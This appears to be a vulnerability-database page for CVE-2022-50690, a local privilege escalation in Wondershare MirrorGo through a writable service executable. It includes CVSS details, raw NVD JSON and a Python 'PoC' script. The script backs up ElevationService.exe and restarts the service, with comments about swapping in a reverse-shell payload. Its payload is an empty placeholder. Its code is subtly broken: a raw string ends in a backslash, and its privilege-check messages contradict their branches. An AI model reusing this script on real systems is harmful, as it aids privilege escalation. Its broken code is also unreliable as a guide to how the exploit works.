Security Vulnerability Report
中文
CVE-2022-50690 CVSS 8.4 HIGH

CVE-2022-50690

Published: 2025-12-22 22:16:00
Last Modified: 2026-04-15 00:35:42

Description

Wondershare MirrorGo 2.0.11.346 contains a local privilege escalation vulnerability due to incorrect file permissions on executable files. Unprivileged local users can replace the ElevationService.exe with a malicious file to execute arbitrary code with LocalSystem privileges.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Wondershare MirrorGo 2.0.11.346 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2022-50690 PoC - Wondershare MirrorGo Local Privilege Escalation Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50787 """ import os import sys import shutil import ctypes def is_admin(): """Check if running with administrator privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def exploit_cve_2022_50690(): """ Exploit the insecure file permissions vulnerability in Wondershare MirrorGo """ print("[*] CVE-2022-50690 - Wondershare MirrorGo Local Privilege Escalation") print("[*] This exploit targets insecure file permissions on ElevationService.exe") # Target paths mirrorgo_path = r"C:\Program Files\Wondershare\MirrorGo\" service_exe = os.path.join(mirrorgo_path, "ElevationService.exe") # Check if target file exists if not os.path.exists(service_exe): print("[-] Target file not found. MirrorGo may not be installed.") return False print(f"[+] Found target: {service_exe}") # Backup original file backup_path = service_exe + ".bak" print(f"[*] Backing up original file to {backup_path}") shutil.copy2(service_exe, backup_path) # Create malicious executable (reverse shell payload) malicious_exe = "" # This is a placeholder - actual malicious code would be injected here # In a real attack, this would be a meterpreter payload or similar print("[*] Creating malicious executable...") # The malicious executable would spawn a reverse shell or add admin user # Replace the original service executable print("[*] Replacing ElevationService.exe with malicious file") # In real scenario: shutil.copy2(malicious_exe, service_exe) print("[*] Restarting service to execute payload...") os.system('sc stop "Wondershare MirrorGo Service"') os.system('sc start "Wondershare MirrorGo Service"') print("[+] Exploit completed - payload should be executing with SYSTEM privileges") return True if __name__ == "__main__": if not is_admin(): print("[-] This exploit requires low-privilege user access (non-admin)") print("[*] Running as regular user - ready to escalate privileges") else: print("[-] Already running as administrator!") # Uncomment to run exploit # exploit_cve_2022_50690() print("[*] PoC prepared - requires actual malicious payload for full exploitation")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50690", "sourceIdentifier": "[email protected]", "published": "2025-12-22T22:15:59.790", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Wondershare MirrorGo 2.0.11.346 contains a local privilege escalation vulnerability due to incorrect file permissions on executable files. Unprivileged local users can replace the ElevationService.exe with a malicious file to execute arbitrary code with LocalSystem privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-732"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/50787", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wondershare-mirrorgo-local-privilege-escalation-via-insecure-file-permissions", "source": "[email protected]"}, {"url": "https://www.wondershare.com/", "source": "[email protected]"}]}}